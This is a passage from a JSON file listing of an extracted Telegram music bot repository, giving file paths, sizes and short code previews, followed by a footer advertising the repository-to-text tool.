    "chars": 2357,
    "preview": "import random\nfrom pyrogram import Client\nfrom pyrogram.types import Message\nfrom pyrogram import filters\nfrom pyrogram."
  },
  {
    "path": "BrandrdXMusic/plugins/tools/couples.py",
    "chars": 4485,
    "preview": "import os \nimport random\nfrom datetime import datetime \nfrom telegraph import upload_file\nfrom PIL import Image , ImageD"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/dev.py",
    "chars": 6698,
    "preview": "import os\nimport re\nimport subprocess\nimport sys\nimport traceback\nfrom inspect import getfullargspec\nfrom io import Stri"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/font.py",
    "chars": 6844,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom BrandrdXMusic i"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/google.py",
    "chars": 1976,
    "preview": "import logging\n\nfrom googlesearch import search\nfrom pyrogram import filters\n\nfrom BrandrdXMusic import app\nfrom SafoneA"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/id.py",
    "chars": 765,
    "preview": "from BrandrdXMusic import app\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboa"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/ig.py",
    "chars": 1044,
    "preview": "import requests\nfrom pyrogram import filters\n\nfrom BrandrdXMusic import app\n\n\n@app.on_message(filters.command([\"ig\", \"in"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/image.py",
    "chars": 1884,
    "preview": "import os\nimport shutil\nfrom re import findall\nfrom bing_image_downloader import downloader\nfrom pyrogram import Client,"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/language.py",
    "chars": 2374,
    "preview": "from pykeyboard import InlineKeyboard\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton, Mess"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/left.py",
    "chars": 3898,
    "preview": "from BrandrdXMusic import app\nfrom pyrogram import Client, filters\nfrom pyrogram.errors import RPCError\nfrom pyrogram.ty"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/paste.py",
    "chars": 2065,
    "preview": "import asyncio\nimport os\nimport re\n\nimport aiofiles\nfrom pykeyboard import InlineKeyboard\nfrom pyrogram import filters\nf"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/ping.py",
    "chars": 940,
    "preview": "from datetime import datetime\n\nfrom pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic impor"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/q.py",
    "chars": 10678,
    "preview": "from io import BytesIO\n\nfrom httpx import AsyncClient, Timeout\nfrom pyrogram import filters\nfrom pyrogram.types import M"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/queue.py",
    "chars": 9598,
    "preview": "import asyncio\r\nimport os\r\n\r\nfrom pyrogram import filters\r\nfrom pyrogram.errors import FloodWait\r\nfrom pyrogram.types im"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/reload.py",
    "chars": 4231,
    "preview": "import asyncio\nimport time\n\nfrom pyrogram import filters\nfrom pyrogram.enums import ChatMembersFilter\nfrom pyrogram.type"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/speedtest.py",
    "chars": 1346,
    "preview": "import asyncio\n\nimport speedtest\nfrom pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic imp"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/stats.py",
    "chars": 4598,
    "preview": "import platform\nfrom sys import version as pyver\n\nimport psutil\nfrom pyrogram import __version__ as pyrover\nfrom pyrogra"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/telegraph.py",
    "chars": 3110,
    "preview": "import os\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\nfrom Brandr"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/tts.py",
    "chars": 900,
    "preview": "import io\n\nfrom gtts import gTTS\nfrom pyrogram import filters\n\nfrom BrandrdXMusic import app\n\n\n@app.on_message(filters.c"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/vctools.py",
    "chars": 3537,
    "preview": "from pyrogram import Client, filters\nfrom pyrogram.types import Message\nfrom BrandrdXMusic import app\nfrom pyrogram impo"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/welcome.py",
    "chars": 3739,
    "preview": "import os\nfrom PIL import ImageDraw, Image, ImageFont, ImageChops\nfrom pyrogram import *\nfrom pyrogram.types import *\nfr"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/zowner.py",
    "chars": 3925,
    "preview": "import asyncio\n\nfrom pyrogram import Client, filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMark"
  },
  {
    "path": "BrandrdXMusic/utils/__init__.py",
    "chars": 194,
    "preview": "from .channelplay import *\nfrom .database import *\nfrom .decorators import *\nfrom .extraction import *\nfrom .formatters "
  },
  {
    "path": "BrandrdXMusic/utils/admin_check.py",
    "chars": 782,
    "preview": "from pyrogram.types import Message\nfrom pyrogram.enums import ChatType, ChatMemberStatus\n\n\nasync def admin_check(message"
  },
  {
    "path": "BrandrdXMusic/utils/branded_ban.py",
    "chars": 1199,
    "preview": "from pyrogram import filters\nfrom BrandrdXMusic.utils.admin_check import admin_check\n\n\nUSE_AS_BOT = True\n\ndef f_sudo_fil"
  },
  {
    "path": "BrandrdXMusic/utils/branded_font.py",
    "chars": 52778,
    "preview": "class Fonts:\n    def typewriter(text):\n        style = {\n            \"a\": \"𝚊\",\n            \"b\": \"𝚋\",\n            \"c\": \"𝚌"
  },
  {
    "path": "BrandrdXMusic/utils/channelplay.py",
    "chars": 734,
    "preview": "from BrandrdXMusic import app\nfrom BrandrdXMusic.utils.database import get_cmode\n\n\nasync def get_channeplayCB(_, command"
  },
  {
    "path": "BrandrdXMusic/utils/cmdforac.py",
    "chars": 300,
    "preview": "from typing import Union, List\nfrom pyrogram import filters\n\nother_filters = filters.group & ~filters.via_bot & ~filters"
  },
  {
    "path": "BrandrdXMusic/utils/database.py",
    "chars": 25581,
    "preview": "import random\r\nfrom typing import Dict, List, Union\r\n\r\nfrom BrandrdXMusic import userbot\r\nfrom BrandrdXMusic.core.mongo "
  },
  {
    "path": "BrandrdXMusic/utils/decorators/__init__.py",
    "chars": 46,
    "preview": "from .admins import *\nfrom .language import *\n"
  },
  {
    "path": "BrandrdXMusic/utils/decorators/admins.py",
    "chars": 7751,
    "preview": "from pyrogram.enums import ChatType\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom BrandrdX"
  },
  {
    "path": "BrandrdXMusic/utils/decorators/language.py",
    "chars": 1834,
    "preview": "from strings import get_string\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.database import (get_lang"
  },
  {
    "path": "BrandrdXMusic/utils/decorators/play.py",
    "chars": 13582,
    "preview": "import asyncio\n\nfrom pyrogram.enums import ChatMemberStatus\nfrom pyrogram.errors import (\n    ChatAdminRequired,\n    Inv"
  },
  {
    "path": "BrandrdXMusic/utils/downloader.py",
    "chars": 858,
    "preview": "from os import path\nimport yt_dlp\nfrom yt_dlp.utils import DownloadError\n\nytdl = yt_dlp.YoutubeDL(\n    {\n        \"outtmp"
  },
  {
    "path": "BrandrdXMusic/utils/downloaders.py",
    "chars": 677,
    "preview": "import os\nfrom yt_dlp import YoutubeDL\n\nydl_opts = {\n    \"format\": \"bestaudio/best\",\n    \"outtmpl\": \"downloads/%(id)s.%("
  },
  {
    "path": "BrandrdXMusic/utils/errors.py",
    "chars": 1601,
    "preview": "import sys\nimport traceback\nfrom functools import wraps\n\nfrom pyrogram.errors.exceptions.forbidden_403 import ChatWriteF"
  },
  {
    "path": "BrandrdXMusic/utils/events.py",
    "chars": 539,
    "preview": "import inspect\nimport re\nfrom pathlib import Path\nfrom telethon import events\nfrom BrandrdXMusic import telethn\n\n\ndef re"
  },
  {
    "path": "BrandrdXMusic/utils/exceptions.py",
    "chars": 147,
    "preview": "class AssistantErr(Exception):\n    def __init__(self, errr: str):\n        super().__init__(errr)\n\n\nclass UnableToFetchCa"
  },
  {
    "path": "BrandrdXMusic/utils/extraction.py",
    "chars": 535,
    "preview": "from pyrogram.enums import MessageEntityType\nfrom pyrogram.types import Message, User\n\nfrom BrandrdXMusic import app\n\n\na"
  },
  {
    "path": "BrandrdXMusic/utils/filters_func.py",
    "chars": 6684,
    "preview": "from enum import Enum, auto\nfrom BrandrdXMusic import app\nfrom pyrogram.types import InlineKeyboardMarkup, Message\nfrom "
  },
  {
    "path": "BrandrdXMusic/utils/formatters.py",
    "chars": 4410,
    "preview": "import json\nimport subprocess\n\n\ndef get_readable_time(seconds: int) -> str:\n    count = 0\n    ping_time = \"\"\n    time_li"
  },
  {
    "path": "BrandrdXMusic/utils/inline/__init__.py",
    "chars": 173,
    "preview": "from .extras import *\nfrom .help import *\nfrom .play import *\nfrom .queue import *\nfrom .settings import *\nfrom .speed i"
  },
  {
    "path": "BrandrdXMusic/utils/inline/extras.py",
    "chars": 991,
    "preview": "from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom config import SUPPORT_CHAT\n\n\ndef botplaylist"
  },
  {
    "path": "BrandrdXMusic/utils/inline/help.py",
    "chars": 3675,
    "preview": "from typing import Union\n\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom BrandrdXMusic impo"
  },
  {
    "path": "BrandrdXMusic/utils/inline/play.py",
    "chars": 5338,
    "preview": "import math\nfrom pyrogram.types import InlineKeyboardButton\nfrom BrandrdXMusic.utils.formatters import time_to_seconds\n\n"
  },
  {
    "path": "BrandrdXMusic/utils/inline/playlist.py",
    "chars": 3055,
    "preview": "from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\n\ndef botplaylist_markup(_):\n    buttons = [\n     "
  },
  {
    "path": "BrandrdXMusic/utils/inline/queue.py",
    "chars": 3316,
    "preview": "from typing import Union\n\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\n\ndef queue_markup(\n    "
  },
  {
    "path": "BrandrdXMusic/utils/inline/settings.py",
    "chars": 5942,
    "preview": "from typing import Union\n\nfrom pyrogram.types import InlineKeyboardButton\n\n\ndef setting_markup(_):\n    buttons = [\n     "
  },
  {
    "path": "BrandrdXMusic/utils/inline/song.py",
    "chars": 685,
    "preview": "from pyrogram.types import InlineKeyboardButton\nimport config\n\ndef song_markup(_, vidid):\n    buttons = [\n        [\n    "
  },
  {
    "path": "BrandrdXMusic/utils/inline/speed.py",
    "chars": 1199,
    "preview": "from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\n\ndef speed_markup(_, chat_id):\n    upl = InlineKe"
  },
  {
    "path": "BrandrdXMusic/utils/inline/start.py",
    "chars": 981,
    "preview": "from pyrogram.types import InlineKeyboardButton\n\nimport config\nfrom BrandrdXMusic import app\n\n\ndef start_panel(_):\n    b"
  },
  {
    "path": "BrandrdXMusic/utils/inline/stats.py",
    "chars": 1191,
    "preview": "from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\n\ndef stats_buttons(_, status):\n    not_sudo = [\n "
  },
  {
    "path": "BrandrdXMusic/utils/inline/sudolist.py",
    "chars": 1,
    "preview": "\n"
  },
  {
    "path": "BrandrdXMusic/utils/inlinequery.py",
    "chars": 1876,
    "preview": "from pyrogram.types import InlineQueryResultArticle, InputTextMessageContent\n\nanswer = []\n\nanswer.extend(\n    [\n        "
  },
  {
    "path": "BrandrdXMusic/utils/logger.py",
    "chars": 989,
    "preview": "from pyrogram.enums import ParseMode\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.database import is_on_off\nf"
  },
  {
    "path": "BrandrdXMusic/utils/mongo.py",
    "chars": 3374,
    "preview": "\"\"\"**                                                                      \n────────────────────────────────────────────"
  },
  {
    "path": "BrandrdXMusic/utils/pastebin.py",
    "chars": 698,
    "preview": "import socket,requests\nfrom asyncio import get_running_loop\nfrom functools import partial\n\n\ndef _netcat(host, port, cont"
  },
  {
    "path": "BrandrdXMusic/utils/stream/autoclear.py",
    "chars": 409,
    "preview": "import os\n\nfrom config import autoclean\n\n\nasync def auto_clean(popped):\n    try:\n        rem = popped[\"file\"]\n        au"
  },
  {
    "path": "BrandrdXMusic/utils/stream/queue.py",
    "chars": 2008,
    "preview": "import asyncio\nfrom typing import Union\n\nfrom BrandrdXMusic.misc import db\nfrom BrandrdXMusic.utils.formatters import ch"
  },
  {
    "path": "BrandrdXMusic/utils/stream/stream.py",
    "chars": 16976,
    "preview": "import os\nfrom random import randint\nfrom typing import Union\nimport random\nimport string\nimport asyncio\nfrom pyrogram i"
  },
  {
    "path": "BrandrdXMusic/utils/stuffs/_init.py_",
    "chars": 1,
    "preview": "\n"
  },
  {
    "path": "BrandrdXMusic/utils/stuffs/buttons.py",
    "chars": 1625,
    "preview": "from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, Message\nfrom pyrogram import Client, filters, enu"
  },
  {
    "path": "BrandrdXMusic/utils/stuffs/helper.py",
    "chars": 5098,
    "preview": "# helper for strings\n\nclass Helper(object):\n    HELP_M = '''ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\nᴀsᴋ ʏᴏᴜʀ ᴅ"
  },
  {
    "path": "BrandrdXMusic/utils/sys.py",
    "chars": 556,
    "preview": "import time\n\nimport psutil\n\nfrom BrandrdXMusic.misc import _boot_\nfrom BrandrdXMusic.utils.formatters import get_readabl"
  },
  {
    "path": "BrandrdXMusic/utils/thumbnails.py",
    "chars": 4184,
    "preview": "import os\nimport re\nimport random\n\nimport aiofiles\nimport aiohttp\n\nfrom PIL import Image, ImageDraw, ImageEnhance\nfrom P"
  },
  {
    "path": "Dockerfile",
    "chars": 399,
    "preview": "FROM python:3.10-slim-bullseye\n\nRUN apt-get update \\\n    && apt-get install -y --no-install-recommends ffmpeg \\\n    && a"
  },
  {
    "path": "LICENSE",
    "chars": 35149,
    "preview": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
  },
  {
    "path": "Procfile",
    "chars": 19,
    "preview": "worker: bash start\n"
  },
  {
    "path": "app.json",
    "chars": 2032,
    "preview": "{\n    \"name\": \"⛦ 𝐁𝐫𝐚𝐧𝐝𝐫𝐝 𝐗 𝐌𝐮𝐬𝐢𝐜 ⛦\",\n    \"description\": \"A Telegram Music Player Bot, written in Python with Pyrogram an"
  },
  {
    "path": "config.py",
    "chars": 4873,
    "preview": "import re\nimport os\nfrom os import getenv\n\nfrom dotenv import load_dotenv\nfrom pyrogram import filters\n\nload_dotenv()\n\n#"
  },
  {
    "path": "cookies/BrandedXMusic.txt",
    "chars": 2996,
    "preview": "# Netscape HTTP Cookie File\r\n# This is a generated file! Do not edit.\r\n\r\n# domain  include_subdomains  path  secure  exp"
  },
  {
    "path": "heroku.yml",
    "chars": 66,
    "preview": "build:\n  docker:\n    worker: Dockerfile\nrun:\n  worker: bash start\n"
  },
  {
    "path": "requirements.txt",
    "chars": 732,
    "preview": "opencv-python-headless==4.10.0.84\ntelethon==1.36.0\naiofiles\napscheduler\naiohttp==3.10.11\nasyncio==3.4.3\ngTTS\ndnspython=="
  },
  {
    "path": "runtime.txt",
    "chars": 14,
    "preview": "python-3.11.4\n"
  },
  {
    "path": "sample.env",
    "chars": 82,
    "preview": "API_ID= \nAPI_HASH=\nBOT_TOKEN=\nMONGO_DB_URI=\nLOGGER_ID=-\nOWNER_ID=\nSTRING_SESSION=\n"
  },
  {
    "path": "setup",
    "chars": 3653,
    "preview": "#!/bin/bash\n\npprint (){\n\tcred='\\033[0;31m'\n\tcgreen='\\033[0;32m'\n\tcyellow='\\033[0;33m'\n\tcblue='\\033[0;34m'\n\tcpurple='\\033"
  },
  {
    "path": "start",
    "chars": 25,
    "preview": "python3 -m BrandrdXMusic\n"
  },
  {
    "path": "strings/__init__.py",
    "chars": 1026,
    "preview": "import os\nfrom typing import List\n\nimport yaml\n\nLOGGERS = \"Branded_king__robot\"\n\nlanguages = {}\nlanguages_present = {}\n\n"
  },
  {
    "path": "strings/helpers.py",
    "chars": 4698,
    "preview": "HELP_1 = \"\"\"<b><u>ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs :</b></u>\n\nᴊᴜsᴛ ᴀᴅᴅ <b>ᴄ</b> ɪɴ ᴛʜᴇ sᴛᴀʀᴛɪɴɢ ᴏғ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅs ᴛᴏ ᴜsᴇ ᴛʜᴇᴍ ғᴏʀ ᴄʜᴀɴɴᴇʟ.\n\n"
  },
  {
    "path": "strings/langs/en.yml",
    "chars": 23032,
    "preview": "name : 🇺🇸 English\n\n# Reason Of Gban Or Ungban\ngban_reason : \"ᴛʜᴇ ʙᴏᴛ ᴡɪʟʟ ɢʙᴀɴ ᴏɴʟʏ ᴡᴏʀᴋ ᴡʜᴇɴ ʏᴏᴜ ᴡɪʟʟ ɢɪᴠᴇ ᴜsᴇʀɴᴀᴍᴇ ᴀɴᴅ"
  }
]

About this extraction

This page contains the full source code of the WCGKING/BrandrdXMusic GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 165 files (755.0 KB), approximately 266.7k tokens, and a symbol index with 584 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!